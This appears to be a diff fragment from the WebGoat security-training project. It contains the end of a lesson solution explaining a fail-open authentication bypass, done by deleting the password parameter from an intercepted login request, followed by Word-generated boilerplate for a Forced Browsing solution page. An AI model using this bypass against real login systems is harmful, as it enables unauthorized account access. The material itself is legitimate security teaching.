<v:f eqn="prod @3 21600 pixelHeight"/>
|
||||
<v:f eqn="sum @0 0 1"/>
|
||||
<v:f eqn="prod @6 1 2"/>
|
||||
<v:f eqn="prod @7 21600 pixelWidth"/>
|
||||
<v:f eqn="sum @8 21600 0"/>
|
||||
<v:f eqn="prod @7 21600 pixelHeight"/>
|
||||
<v:f eqn="sum @10 21600 0"/>
|
||||
</v:formulas>
|
||||
<v:path o:extrusionok="f" gradientshapeok="t" o:connecttype="rect"/>
|
||||
<o:lock v:ext="edit" aspectratio="t"/>
|
||||
</v:shapetype><v:shape id="Picture_x0020_3" o:spid="_x0000_i1028" type="#_x0000_t75"
|
||||
style='width:480pt;height:277.5pt;visibility:visible;mso-wrap-style:square'>
|
||||
<v:imagedata src="lesson_solutions/FailOpenAuthentication_files/image001.png" o:title=""/>
|
||||
</v:shape><![endif]--><![if !vml]><img width=640 height=370
|
||||
src="lesson_solutions/FailOpenAuthentication_files/image009.jpg" v:shapes="Picture_x0020_3"><![endif]></span></p>
|
||||
|
||||
<p class=MsoCaption>Figure <!--[if supportFields]><span style='mso-element:
|
||||
field-begin'></span><span style='mso-spacerun:yes'><3E></span>SEQ Figure \* ARABIC
|
||||
<span style='mso-element:field-separator'></span><![endif]--><span
|
||||
style='mso-no-proof:yes'>1</span><!--[if supportFields]><span style='mso-element:
|
||||
field-end'></span><![endif]--> Lesson 19</p>
|
||||
|
||||
<p class=MsoNormal><o:p> </o:p></p>
|
||||
|
||||
<p class=MsoNormal><b style='mso-bidi-font-weight:normal'><span
|
||||
style='font-family:"Arial","sans-serif"'>Solution:<o:p></o:p></span></b></p>
|
||||
|
||||
<p class=MsoNormal><span style='font-family:"Arial","sans-serif"'><o:p> </o:p></span></p>
|
||||
|
||||
<p class=MsoNormal><span style='font-family:"Arial","sans-serif"'>Enter user
|
||||
name webgoat and click "Login". Intercept the request with WebScarab.<o:p></o:p></span></p>
|
||||
|
||||
<p class=MsoNormal><span style='font-family:"Arial","sans-serif"'><o:p> </o:p></span></p>
|
||||
|
||||
<p class=MsoNormal style='page-break-after:avoid'><span style='font-family:
|
||||
"Arial","sans-serif";mso-no-proof:yes'><!--[if gte vml 1]><v:shape id="Picture_x0020_7"
|
||||
o:spid="_x0000_i1027" type="#_x0000_t75" style='width:459.75pt;height:362.25pt;
|
||||
visibility:visible;mso-wrap-style:square'>
|
||||
<v:imagedata src="lesson_solutions/FailOpenAuthentication_files/image003.png" o:title=""/>
|
||||
</v:shape><![endif]--><![if !vml]><img width=613 height=483
|
||||
src="lesson_solutions/FailOpenAuthentication_files/image010.jpg" v:shapes="Picture_x0020_7"><![endif]></span></p>
|
||||
|
||||
<p class=MsoCaption>Figure <!--[if supportFields]><span style='mso-element:
|
||||
field-begin'></span><span style='mso-spacerun:yes'><3E></span>SEQ Figure \* ARABIC
|
||||
<span style='mso-element:field-separator'></span><![endif]--><span
|
||||
style='mso-no-proof:yes'>2</span><!--[if supportFields]><span style='mso-element:
|
||||
field-end'></span><![endif]--> Intercepted request<span style='font-family:
|
||||
"Arial","sans-serif"'><o:p></o:p></span></p>
|
||||
|
||||
<p class=MsoNormal><span style='font-family:"Arial","sans-serif"'><o:p> </o:p></span></p>
|
||||
|
||||
<p class=MsoNormal><span style='font-family:"Arial","sans-serif"'>Click on the
|
||||
variable "Password" and click "Delete". Click "Accept changes".<o:p></o:p></span></p>
|
||||
|
||||
<p class=MsoNormal><span style='font-family:"Arial","sans-serif"'><o:p> </o:p></span></p>
|
||||
|
||||
<p class=MsoNormal style='page-break-after:avoid'><span style='font-family:
|
||||
"Arial","sans-serif";mso-no-proof:yes'><!--[if gte vml 1]><v:shape id="Picture_x0020_8"
|
||||
o:spid="_x0000_i1026" type="#_x0000_t75" style='width:459.75pt;height:362.25pt;
|
||||
visibility:visible;mso-wrap-style:square'>
|
||||
<v:imagedata src="lesson_solutions/FailOpenAuthentication_files/image005.png" o:title=""/>
|
||||
</v:shape><![endif]--><![if !vml]><img width=613 height=483
|
||||
src="lesson_solutions/FailOpenAuthentication_files/image011.jpg" v:shapes="Picture_x0020_8"><![endif]></span></p>
|
||||
|
||||
<p class=MsoCaption>Figure <!--[if supportFields]><span style='mso-element:
|
||||
field-begin'></span><span style='mso-spacerun:yes'><3E></span>SEQ Figure \* ARABIC
|
||||
<span style='mso-element:field-separator'></span><![endif]--><span
|
||||
style='mso-no-proof:yes'>3</span><!--[if supportFields]><span style='mso-element:
|
||||
field-end'></span><![endif]--> Password variable is deleted</p>
|
||||
|
||||
<p class=MsoNormal><o:p> </o:p></p>
|
||||
|
||||
<p class=MsoNormal><span style='font-family:"Arial","sans-serif"'>You are now
|
||||
"authenticated" as WebGoat.<o:p></o:p></span></p>
|
||||
|
||||
<p class=MsoNormal><span style='font-family:"Arial","sans-serif"'><o:p> </o:p></span></p>
|
||||
|
||||
<p class=MsoNormal style='page-break-after:avoid'><span style='font-family:
|
||||
"Arial","sans-serif";mso-no-proof:yes'><!--[if gte vml 1]><v:shape id="Picture_x0020_4"
|
||||
o:spid="_x0000_i1025" type="#_x0000_t75" style='width:480pt;height:277.5pt;
|
||||
visibility:visible;mso-wrap-style:square'>
|
||||
<v:imagedata src="lesson_solutions/FailOpenAuthentication_files/image007.png" o:title=""/>
|
||||
</v:shape><![endif]--><![if !vml]><img width=640 height=370
|
||||
src="lesson_solutions/FailOpenAuthentication_files/image012.jpg" v:shapes="Picture_x0020_4"><![endif]></span></p>
|
||||
|
||||
<p class=MsoCaption>Figure <!--[if supportFields]><span style='mso-element:
|
||||
field-begin'></span><span style='mso-spacerun:yes'><3E></span>SEQ Figure \* ARABIC
|
||||
<span style='mso-element:field-separator'></span><![endif]--><span
|
||||
style='mso-no-proof:yes'>4</span><!--[if supportFields]><span style='mso-element:
|
||||
field-end'></span><![endif]--> Lesson 19 Completed<span style='font-family:
|
||||
"Arial","sans-serif"'><o:p></o:p></span></p>
|
||||
|
||||
<p class=MsoNormal><span style='font-family:"Arial","sans-serif"'><o:p> </o:p></span></p>
|
||||
|
||||
<p class=MsoNormal><span style='font-family:"Arial","sans-serif"'>The problem
|
||||
is that the exception handler in the Java code is executing a catch block for successful
|
||||
authentication. The exception occurs because there is a NullPointer exception
|
||||
when reading out the password parameter.<o:p></o:p></span></p>
|
||||
|
||||
<p class=MsoNormal><span style='font-family:"Arial","sans-serif"'><o:p> </o:p></span></p>
|
||||
|
||||
<p class=MsoNormal><o:p> </o:p></p>
|
||||
|
||||
</div>
|
||||
<table align='RIGHT' cellspacing='0' width='90%' border='0' cellpadding='0'>
|
||||
<tr>
|
||||
<td valign='MIDDLE' width='100%' align='RIGHT class=MsoNormal' style='font-family:"Arial","sans-serif"'>
|
||||
Solution by Erwin Geirnaert
|
||||
</td>
|
||||
<td valign='MIDDLE' align='RIGHT'><img hspace='0' vspace='0' border='0' alt='ZION SECURITY' src='images/logos/zionsecurity.gif'></td>
|
||||
</tr>
|
||||
</table>
|
||||
|
||||
</body>
|
||||
|
||||
</html>
|
||||
767
src/main/webapp/lesson_solutions_1/ForcedBrowsing.html
Normal file
767
src/main/webapp/lesson_solutions_1/ForcedBrowsing.html
Normal file
@ -0,0 +1,767 @@
|
||||
<html xmlns:v="urn:schemas-microsoft-com:vml"
|
||||
xmlns:o="urn:schemas-microsoft-com:office:office"
|
||||
xmlns:w="urn:schemas-microsoft-com:office:word"
|
||||
xmlns:m="http://schemas.microsoft.com/office/2004/12/omml"
|
||||
xmlns="http://www.w3.org/TR/REC-html40">
|
||||
|
||||
<head>
|
||||
<meta http-equiv=Content-Type content="text/html; charset=windows-1252">
|
||||
<meta name=ProgId content=Word.Document>
|
||||
<meta name=Generator content="Microsoft Word 12">
|
||||
<meta name=Originator content="Microsoft Word 12">
|
||||
<link rel=File-List href="lesson_solutions/ForcedBrowsing_files/filelist.xml">
|
||||
<link rel=Edit-Time-Data href="lesson_solutions/ForcedBrowsing_files/editdata.mso">
|
||||
<!--[if !mso]>
|
||||
<style>
|
||||
v\:* {behavior:url(#default#VML);}
|
||||
o\:* {behavior:url(#default#VML);}
|
||||
w\:* {behavior:url(#default#VML);}
|
||||
.shape {behavior:url(#default#VML);}
|
||||
</style>
|
||||
<![endif]--><!--[if gte mso 9]><xml>
|
||||
<o:DocumentProperties>
|
||||
<o:Author>egeirnaert</o:Author>
|
||||
<o:LastAuthor>egeirnaert</o:LastAuthor>
|
||||
<o:Revision>4</o:Revision>
|
||||
<o:TotalTime>1193</o:TotalTime>
|
||||
<o:Created>2007-07-11T15:37:00Z</o:Created>
|
||||
<o:LastSaved>2007-07-12T15:19:00Z</o:LastSaved>
|
||||
<o:Pages>2</o:Pages>
|
||||
<o:Words>195</o:Words>
|
||||
<o:Characters>1118</o:Characters>
|
||||
<o:Company> </o:Company>
|
||||
<o:Lines>9</o:Lines>
|
||||
<o:Paragraphs>2</o:Paragraphs>
|
||||
<o:CharactersWithSpaces>1311</o:CharactersWithSpaces>
|
||||
<o:Version>12.00</o:Version>
|
||||
</o:DocumentProperties>
|
||||
</xml><![endif]-->
|
||||
<link rel=themeData href="lesson_solutions/ForcedBrowsing_files/themedata.thmx">
|
||||
<link rel=colorSchemeMapping href="lesson_solutions/ForcedBrowsing_files/colorschememapping.xml">
|
||||
<!--[if gte mso 9]><xml>
|
||||
<w:WordDocument>
|
||||
<w:Zoom>90</w:Zoom>
|
||||
<w:TrackMoves>false</w:TrackMoves>
|
||||
<w:TrackFormatting/>
|
||||
<w:PunctuationKerning/>
|
||||
<w:ValidateAgainstSchemas/>
|
||||
<w:SaveIfXMLInvalid>false</w:SaveIfXMLInvalid>
|
||||
<w:IgnoreMixedContent>false</w:IgnoreMixedContent>
|
||||
<w:AlwaysShowPlaceholderText>false</w:AlwaysShowPlaceholderText>
|
||||
<w:DoNotPromoteQF/>
|
||||
<w:LidThemeOther>EN-US</w:LidThemeOther>
|
||||
<w:LidThemeAsian>X-NONE</w:LidThemeAsian>
|
||||
<w:LidThemeComplexScript>X-NONE</w:LidThemeComplexScript>
|
||||
<w:Compatibility>
|
||||
<w:BreakWrappedTables/>
|
||||
<w:SnapToGridInCell/>
|
||||
<w:WrapTextWithPunct/>
|
||||
<w:UseAsianBreakRules/>
|
||||
<w:DontGrowAutofit/>
|
||||
<w:SplitPgBreakAndParaMark/>
|
||||
<w:DontVertAlignCellWithSp/>
|
||||
<w:DontBreakConstrainedForcedTables/>
|
||||
<w:DontVertAlignInTxbx/>
|
||||
<w:Word11KerningPairs/>
|
||||
<w:CachedColBalance/>
|
||||
</w:Compatibility>
|
||||
<w:BrowserLevel>MicrosoftInternetExplorer4</w:BrowserLevel>
|
||||
<m:mathPr>
|
||||
<m:mathFont m:val="Cambria Math"/>
|
||||
<m:brkBin m:val="before"/>
|
||||
<m:brkBinSub m:val="--"/>
|
||||
<m:smallFrac m:val="off"/>
|
||||
<m:dispDef/>
|
||||
<m:lMargin m:val="0"/>
|
||||
<m:rMargin m:val="0"/>
|
||||
<m:defJc m:val="centerGroup"/>
|
||||
<m:wrapIndent m:val="1440"/>
|
||||
<m:intLim m:val="subSup"/>
|
||||
<m:naryLim m:val="undOvr"/>
|
||||
</m:mathPr></w:WordDocument>
|
||||
</xml><![endif]--><!--[if gte mso 9]><xml>
|
||||
<w:LatentStyles DefLockedState="false" DefUnhideWhenUsed="true"
|
||||
DefSemiHidden="true" DefQFormat="false" DefPriority="99"
|
||||
LatentStyleCount="267">
|
||||
<w:LsdException Locked="false" Priority="0" SemiHidden="false"
|
||||
UnhideWhenUsed="false" QFormat="true" Name="Normal"/>
|
||||
<w:LsdException Locked="false" Priority="0" SemiHidden="false"
|
||||
UnhideWhenUsed="false" QFormat="true" Name="heading 1"/>
|
||||
<w:LsdException Locked="false" Priority="9" QFormat="true" Name="heading 2"/>
|
||||
<w:LsdException Locked="false" Priority="9" QFormat="true" Name="heading 3"/>
|
||||
<w:LsdException Locked="false" Priority="9" QFormat="true" Name="heading 4"/>
|
||||
<w:LsdException Locked="false" Priority="9" QFormat="true" Name="heading 5"/>
|
||||
<w:LsdException Locked="false" Priority="9" QFormat="true" Name="heading 6"/>
|
||||
<w:LsdException Locked="false" Priority="9" QFormat="true" Name="heading 7"/>
|
||||
<w:LsdException Locked="false" Priority="9" QFormat="true" Name="heading 8"/>
|
||||
<w:LsdException Locked="false" Priority="9" QFormat="true" Name="heading 9"/>
|
||||
<w:LsdException Locked="false" Priority="39" Name="toc 1"/>
|
||||
<w:LsdException Locked="false" Priority="39" Name="toc 2"/>
|
||||
<w:LsdException Locked="false" Priority="39" Name="toc 3"/>
|
||||
<w:LsdException Locked="false" Priority="39" Name="toc 4"/>
|
||||
<w:LsdException Locked="false" Priority="39" Name="toc 5"/>
|
||||
<w:LsdException Locked="false" Priority="39" Name="toc 6"/>
|
||||
<w:LsdException Locked="false" Priority="39" Name="toc 7"/>
|
||||
<w:LsdException Locked="false" Priority="39" Name="toc 8"/>
|
||||
<w:LsdException Locked="false" Priority="39" Name="toc 9"/>
|
||||
<w:LsdException Locked="false" Priority="0" QFormat="true" Name="caption"/>
|
||||
<w:LsdException Locked="false" Priority="10" SemiHidden="false"
|
||||
UnhideWhenUsed="false" QFormat="true" Name="Title"/>
|
||||
<w:LsdException Locked="false" Priority="1" Name="Default Paragraph Font"/>
|
||||
<w:LsdException Locked="false" Priority="11" SemiHidden="false"
|
||||
UnhideWhenUsed="false" QFormat="true" Name="Subtitle"/>
|
||||
<w:LsdException Locked="false" Priority="0" Name="Hyperlink"/>
|
||||
<w:LsdException Locked="false" Priority="22" SemiHidden="false"
|
||||
UnhideWhenUsed="false" QFormat="true" Name="Strong"/>
|
||||
<w:LsdException Locked="false" Priority="20" SemiHidden="false"
|
||||
UnhideWhenUsed="false" QFormat="true" Name="Emphasis"/>
|
||||
<w:LsdException Locked="false" Priority="0" Name="Normal (Web)"/>
|
||||
<w:LsdException Locked="false" Priority="59" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Table Grid"/>
|
||||
<w:LsdException Locked="false" UnhideWhenUsed="false" Name="Placeholder Text"/>
|
||||
<w:LsdException Locked="false" Priority="1" SemiHidden="false"
|
||||
UnhideWhenUsed="false" QFormat="true" Name="No Spacing"/>
|
||||
<w:LsdException Locked="false" Priority="60" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Light Shading"/>
|
||||
<w:LsdException Locked="false" Priority="61" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Light List"/>
|
||||
<w:LsdException Locked="false" Priority="62" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Light Grid"/>
|
||||
<w:LsdException Locked="false" Priority="63" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium Shading 1"/>
|
||||
<w:LsdException Locked="false" Priority="64" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium Shading 2"/>
|
||||
<w:LsdException Locked="false" Priority="65" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium List 1"/>
|
||||
<w:LsdException Locked="false" Priority="66" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium List 2"/>
|
||||
<w:LsdException Locked="false" Priority="67" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium Grid 1"/>
|
||||
<w:LsdException Locked="false" Priority="68" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium Grid 2"/>
|
||||
<w:LsdException Locked="false" Priority="69" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium Grid 3"/>
|
||||
<w:LsdException Locked="false" Priority="70" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Dark List"/>
|
||||
<w:LsdException Locked="false" Priority="71" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Colorful Shading"/>
|
||||
<w:LsdException Locked="false" Priority="72" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Colorful List"/>
|
||||
<w:LsdException Locked="false" Priority="73" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Colorful Grid"/>
|
||||
<w:LsdException Locked="false" Priority="60" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Light Shading Accent 1"/>
|
||||
<w:LsdException Locked="false" Priority="61" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Light List Accent 1"/>
|
||||
<w:LsdException Locked="false" Priority="62" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Light Grid Accent 1"/>
|
||||
<w:LsdException Locked="false" Priority="63" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium Shading 1 Accent 1"/>
|
||||
<w:LsdException Locked="false" Priority="64" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium Shading 2 Accent 1"/>
|
||||
<w:LsdException Locked="false" Priority="65" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium List 1 Accent 1"/>
|
||||
<w:LsdException Locked="false" UnhideWhenUsed="false" Name="Revision"/>
|
||||
<w:LsdException Locked="false" Priority="34" SemiHidden="false"
|
||||
UnhideWhenUsed="false" QFormat="true" Name="List Paragraph"/>
|
||||
<w:LsdException Locked="false" Priority="29" SemiHidden="false"
|
||||
UnhideWhenUsed="false" QFormat="true" Name="Quote"/>
|
||||
<w:LsdException Locked="false" Priority="30" SemiHidden="false"
|
||||
UnhideWhenUsed="false" QFormat="true" Name="Intense Quote"/>
|
||||
<w:LsdException Locked="false" Priority="66" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium List 2 Accent 1"/>
|
||||
<w:LsdException Locked="false" Priority="67" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium Grid 1 Accent 1"/>
|
||||
<w:LsdException Locked="false" Priority="68" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium Grid 2 Accent 1"/>
|
||||
<w:LsdException Locked="false" Priority="69" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium Grid 3 Accent 1"/>
|
||||
<w:LsdException Locked="false" Priority="70" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Dark List Accent 1"/>
|
||||
<w:LsdException Locked="false" Priority="71" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Colorful Shading Accent 1"/>
|
||||
<w:LsdException Locked="false" Priority="72" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Colorful List Accent 1"/>
|
||||
<w:LsdException Locked="false" Priority="73" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Colorful Grid Accent 1"/>
|
||||
<w:LsdException Locked="false" Priority="60" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Light Shading Accent 2"/>
|
||||
<w:LsdException Locked="false" Priority="61" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Light List Accent 2"/>
|
||||
<w:LsdException Locked="false" Priority="62" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Light Grid Accent 2"/>
|
||||
<w:LsdException Locked="false" Priority="63" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium Shading 1 Accent 2"/>
|
||||
<w:LsdException Locked="false" Priority="64" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium Shading 2 Accent 2"/>
|
||||
<w:LsdException Locked="false" Priority="65" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium List 1 Accent 2"/>
|
||||
<w:LsdException Locked="false" Priority="66" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium List 2 Accent 2"/>
|
||||
<w:LsdException Locked="false" Priority="67" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium Grid 1 Accent 2"/>
|
||||
<w:LsdException Locked="false" Priority="68" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium Grid 2 Accent 2"/>
|
||||
<w:LsdException Locked="false" Priority="69" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium Grid 3 Accent 2"/>
|
||||
<w:LsdException Locked="false" Priority="70" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Dark List Accent 2"/>
|
||||
<w:LsdException Locked="false" Priority="71" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Colorful Shading Accent 2"/>
|
||||
<w:LsdException Locked="false" Priority="72" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Colorful List Accent 2"/>
|
||||
<w:LsdException Locked="false" Priority="73" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Colorful Grid Accent 2"/>
|
||||
<w:LsdException Locked="false" Priority="60" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Light Shading Accent 3"/>
|
||||
<w:LsdException Locked="false" Priority="61" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Light List Accent 3"/>
|
||||
<w:LsdException Locked="false" Priority="62" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Light Grid Accent 3"/>
|
||||
<w:LsdException Locked="false" Priority="63" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium Shading 1 Accent 3"/>
|
||||
<w:LsdException Locked="false" Priority="64" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium Shading 2 Accent 3"/>
|
||||
<w:LsdException Locked="false" Priority="65" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium List 1 Accent 3"/>
|
||||
<w:LsdException Locked="false" Priority="66" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium List 2 Accent 3"/>
|
||||
<w:LsdException Locked="false" Priority="67" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium Grid 1 Accent 3"/>
|
||||
<w:LsdException Locked="false" Priority="68" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium Grid 2 Accent 3"/>
|
||||
<w:LsdException Locked="false" Priority="69" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium Grid 3 Accent 3"/>
|
||||
<w:LsdException Locked="false" Priority="70" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Dark List Accent 3"/>
|
||||
<w:LsdException Locked="false" Priority="71" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Colorful Shading Accent 3"/>
|
||||
<w:LsdException Locked="false" Priority="72" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Colorful List Accent 3"/>
|
||||
<w:LsdException Locked="false" Priority="73" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Colorful Grid Accent 3"/>
|
||||
<w:LsdException Locked="false" Priority="60" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Light Shading Accent 4"/>
|
||||
<w:LsdException Locked="false" Priority="61" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Light List Accent 4"/>
|
||||
<w:LsdException Locked="false" Priority="62" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Light Grid Accent 4"/>
|
||||
<w:LsdException Locked="false" Priority="63" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium Shading 1 Accent 4"/>
|
||||
<w:LsdException Locked="false" Priority="64" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium Shading 2 Accent 4"/>
|
||||
<w:LsdException Locked="false" Priority="65" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium List 1 Accent 4"/>
|
||||
<w:LsdException Locked="false" Priority="66" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium List 2 Accent 4"/>
|
||||
<w:LsdException Locked="false" Priority="67" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium Grid 1 Accent 4"/>
|
||||
<w:LsdException Locked="false" Priority="68" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium Grid 2 Accent 4"/>
|
||||
<w:LsdException Locked="false" Priority="69" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium Grid 3 Accent 4"/>
|
||||
<w:LsdException Locked="false" Priority="70" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Dark List Accent 4"/>
|
||||
<w:LsdException Locked="false" Priority="71" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Colorful Shading Accent 4"/>
|
||||
<w:LsdException Locked="false" Priority="72" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Colorful List Accent 4"/>
|
||||
<w:LsdException Locked="false" Priority="73" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Colorful Grid Accent 4"/>
|
||||
<w:LsdException Locked="false" Priority="60" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Light Shading Accent 5"/>
|
||||
<w:LsdException Locked="false" Priority="61" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Light List Accent 5"/>
|
||||
<w:LsdException Locked="false" Priority="62" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Light Grid Accent 5"/>
|
||||
<w:LsdException Locked="false" Priority="63" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium Shading 1 Accent 5"/>
|
||||
<w:LsdException Locked="false" Priority="64" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium Shading 2 Accent 5"/>
|
||||
<w:LsdException Locked="false" Priority="65" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium List 1 Accent 5"/>
|
||||
<w:LsdException Locked="false" Priority="66" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium List 2 Accent 5"/>
|
||||
<w:LsdException Locked="false" Priority="67" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium Grid 1 Accent 5"/>
|
||||
<w:LsdException Locked="false" Priority="68" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium Grid 2 Accent 5"/>
|
||||
<w:LsdException Locked="false" Priority="69" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium Grid 3 Accent 5"/>
|
||||
<w:LsdException Locked="false" Priority="70" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Dark List Accent 5"/>
|
||||
<w:LsdException Locked="false" Priority="71" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Colorful Shading Accent 5"/>
|
||||
<w:LsdException Locked="false" Priority="72" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Colorful List Accent 5"/>
|
||||
<w:LsdException Locked="false" Priority="73" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Colorful Grid Accent 5"/>
|
||||
<w:LsdException Locked="false" Priority="60" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Light Shading Accent 6"/>
|
||||
<w:LsdException Locked="false" Priority="61" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Light List Accent 6"/>
|
||||
<w:LsdException Locked="false" Priority="62" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Light Grid Accent 6"/>
|
||||
<w:LsdException Locked="false" Priority="63" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium Shading 1 Accent 6"/>
|
||||
<w:LsdException Locked="false" Priority="64" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium Shading 2 Accent 6"/>
|
||||
<w:LsdException Locked="false" Priority="65" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium List 1 Accent 6"/>
|
||||
<w:LsdException Locked="false" Priority="66" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium List 2 Accent 6"/>
|
||||
<w:LsdException Locked="false" Priority="67" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium Grid 1 Accent 6"/>
|
||||
<w:LsdException Locked="false" Priority="68" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium Grid 2 Accent 6"/>
|
||||
<w:LsdException Locked="false" Priority="69" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Medium Grid 3 Accent 6"/>
|
||||
<w:LsdException Locked="false" Priority="70" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Dark List Accent 6"/>
|
||||
<w:LsdException Locked="false" Priority="71" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Colorful Shading Accent 6"/>
|
||||
<w:LsdException Locked="false" Priority="72" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Colorful List Accent 6"/>
|
||||
<w:LsdException Locked="false" Priority="73" SemiHidden="false"
|
||||
UnhideWhenUsed="false" Name="Colorful Grid Accent 6"/>
|
||||
<w:LsdException Locked="false" Priority="19" SemiHidden="false"
|
||||
UnhideWhenUsed="false" QFormat="true" Name="Subtle Emphasis"/>
|
||||
<w:LsdException Locked="false" Priority="21" SemiHidden="false"
|
||||
UnhideWhenUsed="false" QFormat="true" Name="Intense Emphasis"/>
|
||||
<w:LsdException Locked="false" Priority="31" SemiHidden="false"
|
||||
UnhideWhenUsed="false" QFormat="true" Name="Subtle Reference"/>
|
||||
<w:LsdException Locked="false" Priority="32" SemiHidden="false"
|
||||
UnhideWhenUsed="false" QFormat="true" Name="Intense Reference"/>
|
||||
<w:LsdException Locked="false" Priority="33" SemiHidden="false"
|
||||
UnhideWhenUsed="false" QFormat="true" Name="Book Title"/>
|
||||
<w:LsdException Locked="false" Priority="37" Name="Bibliography"/>
|
||||
<w:LsdException Locked="false" Priority="39" QFormat="true" Name="TOC Heading"/>
|
||||
</w:LatentStyles>
|
||||
</xml><![endif]-->
|
||||
<style>
|
||||
<!--
|
||||
/* Font Definitions */
|
||||
@font-face
|
||||
{font-family:"MS Mincho";
|
||||
panose-1:2 2 6 9 4 2 5 8 3 4;
|
||||
mso-font-alt:"\FF2D\FF33 \660E\671D";
|
||||
mso-font-charset:128;
|
||||
mso-generic-font-family:modern;
|
||||
mso-font-pitch:fixed;
|
||||
mso-font-signature:-1610612033 1757936891 16 0 131231 0;}
|
||||
@font-face
|
||||
{font-family:"Cambria Math";
|
